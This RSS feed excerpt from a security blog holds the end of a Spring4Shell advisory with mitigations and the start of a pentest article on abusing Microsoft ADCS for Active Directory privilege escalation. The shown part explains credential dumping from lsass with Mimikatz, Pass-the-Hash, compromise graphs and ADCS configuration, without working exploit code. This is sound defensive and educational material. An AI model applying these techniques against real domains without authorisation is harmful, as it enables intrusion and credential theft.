<p>Once all prerequisites are met, the Spring4Shell exploit allows for <b>unauthenticated Remote Code Execution on the vulnerable host</b>. This initial access may lead to further harmful infection steps by attackers.</p>
<p>A list of applications and vendors that have published a statement indicating if their product was affected is available:</p>
<p><a href="https://www.kb.cert.org/vuls/id/970766">https://www.kb.cert.org/vuls/id/970766</a></p>
<h2 style="text-align: left;"><b>Difficulty</b></h2>
<p>Many researchers are still sceptical as to how achievable this exploit is. It is now clear that due to the heavy prerequisites of the exploit, it should occur in <b>fewer cases than the Log4Shell exploit</b>. However, <b>once the prerequisites are met, </b>exploiting the vulnerability <b>is pretty straightforward </b>and<b> has fewer constraints </b>than Log4Shell (egress traffic is not needed).</p>
<h2 style="text-align: left;"><b>Real-world examples</b></h2>
<p>Some real-world examples meet the prerequisites. Some researchers have found that the <a href="https://spring.io/guides/gs/handling-form-submission/">Handling Form submission sample code</a> <b>provided by Spring in one of their tutorials </b>is vulnerable to the Spring4Shell exploit.</p>
<h1>Mitigations</h1>
<h2><b>Main recommendation: </b><span style="color: #800080;"><u><b>Update applications to Spring Framework 5.3.18 or 5.2.20 if possible</b></u></span></h2>
<h2><b>Manual workaround:</b></h2>
<p>This section is <b>applicable only if it is not possible to update the applications </b>as mentioned above.</p>
<p>A temporary fix may be manually applied to mitigate the possibility of the Spring4Shell exploit: the following class must be created under the project package of the application system. After making sure the class is loaded by Spring, the <b>project must be recompiled</b>. This workaround only works against exploits known at this time, it’s <b>effectiveness may not be guaranteed in the long term</b>.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-17817 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image5.png" alt="" width="1858" height="285" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image5.png 1858w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image5-437x67.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image5-71x11.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image5-768x118.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/Image5-1536x236.png 1536w" sizes="auto, (max-width: 1858px) 100vw, 1858px" /></p>
<h2 style="text-align: left;"><b>Good practice:</b></h2>
<p><img loading="lazy" decoding="async" class="wp-image-17745 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/goodpract-1.png" alt="" width="274" height="319" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/goodpract-1.png 425w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/goodpract-1-164x191.png 164w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/goodpract-1-33x39.png 33w" sizes="auto, (max-width: 274px) 100vw, 274px" /></p>
<h2 style="text-align: left;"><b>Point of attention:</b></h2>
<p><span style="color: #800080;">The Spring4Shell exploit only provides command execution on the vulnerable host:</span> it allows for initial access on a server exposed to the Internet. Commands will be executed in the context of the running application. A healthy, up-to-date infrastructure, as well as a good application of the least privilege principle, may greatly mitigate Spring4Shell’s impact.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-17747" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/all-java-app.png" alt="" width="1894" height="82" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/all-java-app.png 1894w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/all-java-app-437x19.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/all-java-app-71x3.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/all-java-app-768x33.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/04/all-java-app-1536x67.png 1536w" sizes="auto, (max-width: 1894px) 100vw, 1894px" /></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/04/identity-card-of-the-spring4shell-vulnerability-by-cert-w/">Identity card of the Spring4Shell vulnerability by CERT-W</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/04/identity-card-of-the-spring4shell-vulnerability-by-cert-w/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Microsoft ADCS – Abusing PKI in Active Directory Environment</title>
		<link>https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/</link>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Mon, 14 Jun 2021 09:20:24 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ActiveDirectory]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[PKI]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15940</guid>

					<description><![CDATA[<p>Due to the ever-growing use of certificates in modern applications, a large number of Active Directory infrastructures make use of Public Key Infrastructures (PKI) features. These features are provided by Certification Authorities (CA) which are either external to Active Directory...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/">Microsoft ADCS – Abusing PKI in Active Directory Environment</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Due to the ever-growing use of certificates in modern applications, a large number of Active Directory infrastructures make use of Public Key Infrastructures (PKI) features. These features are provided by Certification Authorities (CA) which are either external to Active Directory or deeply coupled with it.</p>
<p>Similar intricate systems, such as Microsoft Exchange, have highlighted <a href="https://github.com/gdedrouas/Exchange-AD-Privesc">a significant number of ways</a> that someone with a user account on Active Directory and malicious intent can benefit from to take over Active Directory.</p>
<p>Active Directory Certificate Services (ADCS) have never really been under security scrutiny until a few years ago (by <a href="https://cyberstoph.org/posts/2019/12/an-introduction-to-golden-certificates/">C. Falta</a> and later <a href="https://blog.qdsecurity.se/2020/09/04/supply-in-the-request-shenanigans/">Q&amp;D Security</a>). We will therefore focus today on how similar techniques can be used to gain Domain Admins privileges.</p>
<p><strong>Note: </strong>this article assumes that the reader has a correct understanding of <a href="https://en.wikipedia.org/wiki/Active_Directory">Active Directory</a> and/or <a href="https://en.wikipedia.org/wiki/Public_key_infrastructure">PKI</a> operation; some sections may be skipped depending on the reader experience and level of expertise.</p>
<h2>Table of contents</h2>
<ol class="ol-toc">
<li><a href="#section-1">Active Directory pentest: mission briefing</a>
<ol class="ol-toc">
<li><a href="#section-1-1">Context and objectives</a></li>
<li><a href="#section-1-2">Elevating privileges in an AD environment</a>
<ol class="ol-toc">
<li><a href="#section-1-2-1">From lateral movement&#8230;</a></li>
<li><a href="#section-1-2-2">&#8230; to compromise graphs</a></li>
<li><a href="#section-1-2-3">Drafting the domain compromise graph</a></li>
</ol>
</li>
</ol>
</li>
<li><a href="#section-2">Deep dive into Microsoft ADCS</a>
<ol class="ol-toc">
<li><a href="#section-2-1">What is ADCS?</a></li>
<li><a href="#section-2-2">How does ADCS operate?</a>
<ol class="ol-toc">
<li><a href="#section-2-2-1">Active Directory: Public Key Services</a></li>
<li><a href="#section-2-2-2">ADCS server: local configuration</a></li>
<li><a href="#section-2-2-3">Mixing it all together!</a></li>
</ol>
</li>
<li><a href="#section-2-3">Kerberos, smartcard logon and certificate authentication</a>
<ol class="ol-toc">
<li><a href="#section-2-3-1">Kerberos 101</a></li>
<li><a href="#section-2-3-2">Introducing PKINIT</a></li>
<li><a href="#section-2-3-3">Using PKINIT in real life</a></li>
</ol>
</li>
</ol>
</li>
<li><a href="#section-3">Elevating privileges with ADCS</a>
<ol class="ol-toc">
<li><a href="#section-3-1">Exploiting an existing ADCS misconfiguration</a></li>
<li><a href="#section-3-2">The insidious case of EDITF_ATTRIBUTESUBJECTALTNAME2</a></li>
<li><a href="#section-3-3">Local administrator rights on ADCS server</a></li>
<li><a href="#section-3-4">ACL exploit on user objects (1)</a></li>
<li><a href="#section-3-5">ACL exploit on user objects (2)</a></li>
<li><a href="#section-3-6">ACL exploit on certificate templates</a></li>
<li><a href="#section-3-7">ACL exploit on enrollment services</a></li>
</ol>
</li>
<li><a href="#section-4">Current mitigations</a>
<ol class="ol-toc">
<li><a href="#section-4-1">Integration within the Active Directory tiering model</a>
<ol class="ol-toc">
<li><a href="#section-4-1-1">ESAE: Enhanced Security admin Environment</a></li>
<li><a href="#section-4-1-2">Moving ADCS objects up one tier!</a></li>
</ol>
</li>
<li><a href="#section-4-2">Proper handling of corner cases</a>
<ol class="ol-toc">
<li><a href="#section-4-2-1">Context example</a></li>
<li><a href="#section-4-2-2">Setting the manager approval</a></li>
<li><a href="#section-4-2-3">Choosing your CA managers</a></li>
</ol>
</li>
<li><a href="#section-4-3">Adding the detection layer</a></li>
</ol>
</li>
</ol>
<h2></h2>
<p>&nbsp;</p>
<h1><a name="section-1"></a>Active Directory pentest: mission briefing</h1>
<p>This article will tackle Microsoft ADCS and its potential issues under the specific prism of an Active Directory pentest, but the conclusions will be applicable on a broader scope: red team assignments, ADCS hardening, etc.</p>
<p>&nbsp;</p>
<h2><a name="section-1-1"></a>Context and objectives</h2>
<p>An Active Directory pentest is a type of assignment where the sponsor of the audit is asking the pentester to interact with the audit target’s infrastructure to find ways of gaining control of Active Directory. The auditor usually performs this task under the two following approaches:</p>
<ul>
<li>The <span style="color: #005572;"><strong>black box approach</strong></span>: it simulates an attacker who a<span style="color: #000000;">lready has <strong>physical access</strong> to the target’s premises (and consequently to network plugs and physical devices); the goal is often to <strong>progress</strong> <strong>towards the grey box approach</strong>, leveraging unencrypted hard drives, credential sniffing, guest access and misconfigured applications on vulnerable assets;</span></li>
<li>The <span style="color: #005572;"><strong>grey box approach</strong></span>: the pentester acts as a malicious or compromised user, within the context of its domain session, i.e. being able to execute arbitrary code as this user.</li>
</ul>
<p>In our case, we will focus on the grey box approach, therefore consid<span style="color: #000000;">ering a <strong>malicious party</strong> who already has the <strong>ability of interacting with the domain</strong> as a standard user with no specific rights. The goal of the pentester would be to find a way to leverage the current rights of the user on the domain to <strong>compromise high-privileged principals</strong>, frequently the members of the <strong>Domain Admins</strong> group.</span></p>
<p>&nbsp;</p>
<h2><a name="section-1-2"></a>Elevating privileges in an AD environment</h2>
<h3><a name="section-1-2-1"></a>From lateral movement &#8230;</h3>
<p>Historically, Windows has been built as a <strong>user-friendly operating system</strong>, which means that it will do its best to <strong>minimize the number of situations where a user must type its password</strong>. In terms of user experience, most users will only type their password to unlock their workstation. System administrators may have to type it another time when using the Remote Desktop Protocol (RDP), but they don’t expect it to type it again when connected to the remote server and/or interacting with domain resources.</p>
<p>Under the hood, it means that Windows offers <strong>Single-Sign-On</strong> (SSO) features, which allow the system to authenticate as the user to other systems or applications. This sleight of hand is performed by the lsass.exe process, which caches usable credentials for the user in memory. There are two types of credentials that can be cached:</p>
<ul>
<li>Authenticators <strong>derived </strong>from credentials, e.g. the password itself, or its NT hash</li>
<li>Authenticators <strong>retrieved </strong>thanks to other means, e.g. Kerberos tickets</li>
</ul>
<p>The credentials are cached into the memory of the <code>lsass.exe</code> process running with the <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control">System integrity level</a>. Either processes running as <code>SYSTEM</code>, or processes with <code>SeDebugPrivilege</code> enabled (which by default can only be enabled by local administrators) would be able to peek into <code>lsass.exe</code> memory.</p>
<p>Various tools, such as <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a> and <a href="https://www.passcape.com/windows_password_recovery">Windows Password Recovery</a>, allow users with local administration rights to extract the aforementioned authenticators from the memory:</p>
<figure id="post-15992 media-15992" class="align-none"><img loading="lazy" decoding="async" class=" wp-image-15992 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01.png" alt="" width="449" height="365" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01.png 688w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01-235x191.png 235w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/01-155x125.png 155w" sizes="auto, (max-width: 449px) 100vw, 449px" /></figure>
<p class="TitreFigure2" style="text-align: center;"><em><span lang="EN-US">Mimikatz extracting authenticators from lsass.exe process memory</span></em></p>
<p>These authenticators in turn can be used to log in onto other workstations and servers, using techniques such as <a href="https://en.hackndo.com/pass-the-hash/">Pass-the-Hash</a> or <a href="https://attack.mitre.org/techniques/T1550/003/">Pass-the-Ticket</a>. The use of these techniques is included in what is called <span style="color: #005572;"><strong>Lateral Movement</strong></span> and allows progressing from low-privileged assets to high-privileged ones.</p>
<p>&nbsp;</p>
<h3><a name="section-1-2-2"></a>&#8230; to compromise graphs</h3>
<p>In a grey box approach, a pentester would usually be provided with a standard network access, a domain-joined workstation and a basic user account. Assuming local administration rights are somehow obtained, the pentester would then gather:</p>
<ul>
<li>The <span style="color: #005572;"><strong>local accounts’ credentials</strong></span> in the SAM database (NT hashes)</li>
<li>The <span style="color: #005572;"><strong>local and domain accounts’ authenticators</strong></span> which recently logged in (NT hashes and Kerberos tickets, even cleartext passwords under some conditions)</li>
</ul>
<p>Using this newly found credential, the next objective is to try using them on the other assets in the domain. If this works, <strong>the operation can be repeated</strong>, each time gaining <strong>more and more foothold on the domain</strong>.</p>
<p>This progression is quite easily performed by hand in a lab domain a limited number of workstations and servers but cannot be humanly feasible in a real-life domain with hundreds of servers and thousands of users and workstations (without mentioning domain trusts, etc.). This is where graph theory comes into play, with the following equivalents:</p>
<ul>
<li><span style="color: #005572;"><strong>Vertices</strong> </span>(nodes) represent domain assets: user objects, computer objects and group objects</li>
<li><span style="color: #005572;"><strong>Oriented edges</strong></span> connect two vertices when one has the ability to compromise the other (also called <span style="color: #005572;"><strong>control path</strong></span>)</li>
</ul>
<p>With such a graph, one would quite easily <strong>find</strong> (if it exists),<strong> the shortest path from a basic user account to a high-privileged principal</strong> on the domain. The only remaining task would be to exploit it. A path from one principal to another is called a compromise path, and the set of compromise paths between two principals represent all the means at one’s disposal to compromise the latter starting from the former:</p>
<figure id="post-16065 media-16065" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16065 size-medium" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-437x131.png" alt="" width="437" height="131" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/2021-06-09-13_28_44-Microsoft-ADCS-Abusing-PKI-to-get-the-keys-to-the-realm.docx-Compatibility.png 860w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>
<p class="TitreFigure2" style="text-align: center;"><em><span lang="EN-US">Compromise paths between a user and a member of the Domain Admins group</span></em></p>
<p>&nbsp;</p>
<h3><a name="section-1-2-2"></a>Drafting the domain compromise graph</h3>
<p>In order to build the domain compromise graph, a list of possible edge types has to be defined. Lateral movement using credential dumping is often central, but it is not the only way of compromising principals. The current list includes (but is not limited to):</p>
<ul>
<li>Domain <strong>group membership</strong></li>
<li>Being<strong> local administrator</strong> of a target</li>
<li>Having an <strong>open session</strong> on a target</li>
<li>Ability to <strong>connect </strong>to a target <strong>using RDP</strong> (generally implicitly combined with the ease of privilege escalation)</li>
<li>Domain <strong>principal ownership</strong></li>
<li><strong>Permissive Access Control Entries</strong> (ACEs) over domain objects: GenericAll, GenericWrite, WriteProperty, etc.</li>
<li>“<strong>By design</strong>” compromise paths from built-in groups: Server Operators, Backup Operators, DNS Admins, etc.</li>
</ul>
<p>Building domain compromise graphs is particularly difficult to perform by hand, especially on large domains. There exist tools that help building these graphs and adding edges to find compromise paths.</p>
<p>Although many tools exist (Tenable.ad, AD-Control-Paths, PingCastle), the most famous one is BloodHound, and it leverages most of known techniques used to compromise accounts:</p>
<figure id="post-15996 media-15996" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15996 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03.png" alt="" width="834" height="385" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03.png 834w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03-414x191.png 414w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/03-768x355.png 768w" sizes="auto, (max-width: 834px) 100vw, 834px" /></figure>
<p style="text-align: center;"><em>Example graph generated by BloodHound</em></p>
<p>&nbsp;</p>
<h1><a name="section-2"></a>Deep dive into Microsoft ADCS</h1>
<h2><a name="section-2-1"></a>What is ADCS?</h2>
<p><span style="color: #005572;"><strong>Microsoft Active Directory Certificate Services</strong></span> (ADCS) is a role that can be given to servers who will act as <span style="color: #005572;"><strong>Certification Authorities</strong></span> (CA) in the forest. It integrates naturally within the forest, which means that there are domain objects that represents the different actors involved in a PKI lifecycle, and Access Control Lists regulating the interactions between these actors:</p>
<ul>
<li>Certificate template management</li>
<li>Certificate enrolment</li>
<li>Certificate revocation</li>
<li>CRL publication</li>
<li>etc.</li>
</ul>
<p>&nbsp;</p>
<h2><a name="section-2-2"></a>How does ADCS operate?</h2>
<p>The ADCS server role is installed on every server that is to act as a CA. When installing the ADCS role, the administrator is presented with twochoices: first, either install a<strong> Standalone</strong> or an <strong>Enterprise </strong><em>CA</em>:</p>
<figure id="post-15998 media-15998" class="align-none"><img loading="lazy" decoding="async" class=" wp-image-15998 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04.png" alt="" width="500" height="160" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04-437x140.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/04-768x245.png 768w" sizes="auto, (max-width: 500px) 100vw, 500px" /></figure>
<p style="text-align: center;"><em>CA setup type choice</em></p>
<p>&nbsp;</p>
<p>Then, in the case of an enterprise CA, it can be positioned as a <strong>Root CA </strong>or <strong>Subordinate CA</strong>:</p>
<figure id="post-16000 media-16000" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16000 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05.png" alt="" width="494" height="163" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05-437x144.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/05-768x254.png 768w" sizes="auto, (max-width: 494px) 100vw, 494px" /></figure>
<p style="text-align: center;"><em>CA type choice</em></p>
<p>&nbsp;</p>
<p>This article will focus on the Enterprise Root CA, for which the configuration is split between two places:</p>
<ul>
<li><span style="color: #005572;"><strong>Active Directory</strong></span>, in which information global to the PKI infrastructure is stored: names and location of CA servers, global rights, etc.</li>
<li>The <span style="color: #005572;"><strong>Windows servers on which the ADCS role is installed</strong></span>, on which the day-to-day configuration parameters specific to this Certification Authority are stored: CA administration rights, certificate emission parameters, etc.</li>
</ul>
<p>&nbsp;</p>
<h3><a name="section-2-2-1"></a>Active Directory: Public Key Services</h3>
<p>In Active Directory, the configuration is stored under the following location (Configuration partition, thus defined at forest-level):</p>
<pre class="w-code">CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local</pre>
<p>The configuration can be viewed using the <code>adsiedit.msc</code> component in the MMC:</p>
<figure id="post-16002 media-16002" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16002 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/06.png" alt="" width="543" height="184" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/06.png 658w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/06-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/06-71x24.png 71w" sizes="auto, (max-width: 543px) 100vw, 543px" /></figure>
<p style="text-align: center;"><em>Global PKI configuration in Active Directory</em></p>
<p>&nbsp;</p>
<h4>Certificate templates</h4>
<p>The <span style="color: #005572;"><strong>CertificateTemplate</strong></span> container has one domain object of type <code>pKICertificateTemplate</code> for every template to be shared amongst the enterprise Certification Authorities. These templates define, through <strong>attributes </strong>configured on their domain object, a <strong>set of policies</strong> that mostly describe and constrain:</p>
<ul>
<li><strong>General settings:</strong> the validity period of the delivered certificates</li>
<li><strong>Request handling:</strong> the purpose of the certificate and the ability to export the private key (although this can be bypassed if the private key is generated prior to the certificate request, for example with the <code>certreq</code> binary)</li>
<li><strong>Cryptography:</strong> the Cryptographic Services Provider (CSP) to be used and the minimum key size</li>
<li><strong>Extensions:</strong> the list of X509v3 extensions to be included in the certificate, and their criticality (including the <code>KeyUsage</code> and <code>ExtendedKeyUsages</code>)</li>
<li><strong>Subject name</strong>, which dictates how the Distinguished Name of the certificate is built: either from a user-supplied value in the request, or from the identity of the domain principal requesting the certificate</li>
<li><strong>Issuance requirements</strong><em>:</em> the need for a “CA certificate manager” approval in order to deliver the certificate</li>
<li><strong>Security descriptor</strong><em>:</em> the ACL of the certificate template, including the identity of the principals who have the extended right needed to enroll to the template</li>
</ul>
<figure id="post-16008 media-16008" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16008 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/09.png" alt="" width="321" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/09.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/09-219x191.png 219w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/09-45x39.png 45w" sizes="auto, (max-width: 321px) 100vw, 321px" /></figure>
<p style="text-align: center;"><em>Access Control List of a pKICertificateTemplate object</em></p>
<p>&nbsp;</p>
<h4>Enrollment services</h4>
<p>The <span style="color: #005572;"><strong>Enrollment Services</strong></span> provides domain principals with the list of enterprise ADCS servers with the domain, under the following naming convention:</p>
<pre class="w-code">CN=&lt;CA name&gt;,CN=Enrollment Services,CN=Public Key Services,...</pre>
<p>The attributes of these objects describe these Certification Authorities, how the principals can reach them, and what they are authorized to do:</p>
<ul>
<li>The <code>dNSHostName</code> attribute corresponds to the FQDN (or alias) of the ADCS server</li>
<li>The <code>certificateTemplates</code> attribute lists a <strong>subset of the Certificate Templates</strong> that the principals are allowed to request certificates for from this Certification Authority</li>
<li>The <strong>Security Descriptor</strong> (available through the “Security” tab) lists the actions that principals are allowed to do on the Certification Authority or the current domain object: enroll, modify the list of certificate templates, etc.</li>
</ul>
<figure id="post-16010 media-16010" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16010 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/10.png" alt="" width="447" height="253" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/10.png 634w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/10-337x191.png 337w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/10-69x39.png 69w" sizes="auto, (max-width: 447px) 100vw, 447px" /></figure>
<p style="text-align: center;"><em>pKIEnrollmentService object</em></p>
<p>&nbsp;</p>
<h4>NtAuth enterprise store</h4>
<p>The <span style="color: #005572;"><strong>NtAuthCertificates </strong></span>is a domain object which contains a<strong> list of CA certificates</strong> (in the <code>cACertificate</code> attribute). This list dictates <strong>which certificates will be valid for authentication purposes</strong> across the domain, as authentication services will look for the <strong>direct issuer CA</strong> within this enterprise store:</p>
<figure id="post-16012 media-16012" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16012 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/11.png" alt="" width="394" height="224" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/11.png 500w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/11-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/11-69x39.png 69w" sizes="auto, (max-width: 394px) 100vw, 394px" /></figure>
<p style="text-align: center;"><em>NtAuth store contents</em></p>
<p>&nbsp;</p>
<p>It is important to note that workstations and servers (including Domain Controllers) keep a<strong> local cached</strong> version of this store in the Windows Registry, at the following location:</p>
<pre class="w-code">HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates</pre>
<p>Any update will not be replicated unless the following command is issued locally (or after a while when the machine GPO is refreshed):</p>
<pre class="w-code">gpupdate /force</pre>
<h4></h4>
<h4>Other enterprise certificate stores</h4>
<p>The <strong>Certification Authorities</strong> and <strong>AIA </strong>(Authority Information Access) containers correspond respectively to the <strong>Root Certification Authorities</strong> and <strong>Intermediate Certification Authorities</strong> certificate stores for the domain. Every object present in these stores has its <code>cACertificate</code> attribute set to the certificate of said authority. This enterprise store is automatically replicated within the local stores of domain workstations and servers. Additional parameters, such as <code>crossCertificatePair</code>, can be also set in some cases.</p>
<figure id="post-16004 media-16004" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16004 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/07.png" alt="" width="526" height="265" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/07.png 722w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/07-379x191.png 379w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/07-71x36.png 71w" sizes="auto, (max-width: 526px) 100vw, 526px" /></figure>
<p style="text-align: center;"><em>certificationAuthority object</em></p>
<p>&nbsp;</p>
<h4>Certificate revocation list</h4>
<p>The <span style="color: #005572;"><strong>CDP</strong> </span>(CRL Distribution Point) container aims at providing the domain with <strong>Certificate Revocation Lists</strong> for each enterprise ADCS server installed. Therefore, each sub-container has an object, which contains the CRL (optionally delta CRL) in the <code>certificateRevocationList</code> (optionally <code>deltaRevocationList</code>), named as follows:</p>
<pre class="w-code">CN=&lt;CA name&gt;,CN=&lt;ADCS server&gt;,CN=CDP,CN=Public Key Services,...</pre>
<figure id="post-16006 media-16006" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16006 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/08.png" alt="" width="462" height="237" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/08.png 723w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/08-372x191.png 372w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/08-71x36.png 71w" sizes="auto, (max-width: 462px) 100vw, 462px" /></figure>
<p style="text-align: center;"><em>cRLDistributionPoint object</em></p>
<p>&nbsp;</p>
<h4>Miscellaneous objects</h4>
<p>The <strong>KRA </strong>(Key Recovery Agent) and <strong>OID </strong>containers describe objects and parameters vital to the ADCS servers, but on which <strong>focus is not mandatory in this context</strong>.</p>
<p>&nbsp;</p>
<h3><a name="section-2-2-2"></a>ADCS server: local configuration</h3>
<p>In addition to the global configuration stored in Active Directory, each ADCS server can be <strong>locally configured</strong> to tune its behavior regarding day-to-day operations. These rights allow users and groups to perform various actions linked to the Certification Authority, such as:</p>
<ul>
<li>Certificate request validation</li>
<li>Certificate revocation</li>
<li>Certificate Revocation List (CRL) publication</li>
<li>Certification Authority renewal</li>
<li>etc.</li>
</ul>
<p>This extensive set of rights is organized under roles, which limits the fine tuning of access rules but provides a <strong>Role Based Access Control</strong> (RBAC) mechanism. The following matrix summarizes the 4 roles and the main actions associated with them:</p>
<figure id="post-16014 media-16014" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16014 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12.png" alt="" width="1040" height="297" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12.png 1040w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12-437x125.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/12-768x219.png 768w" sizes="auto, (max-width: 1040px) 100vw, 1040px" /></figure>
<p style="text-align: center;"><em>Local rights matrix for ADCS servers</em></p>
<p>&nbsp;</p>
<p>The attribution of roles to users and groups can be configured from the “properties” contextual menu of the Certification Authority instance (using the <code>certsrv.msc</code> MMC component):</p>
<figure id="post-16016 media-16016" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16016 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/13.png" alt="" width="480" height="320" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/13.png 595w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/13-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/13-58x39.png 58w" sizes="auto, (max-width: 480px) 100vw, 480px" /></figure>
<p style="text-align: center;"><em>Local attribution of roles on the CA server</em></p>
<p>&nbsp;</p>
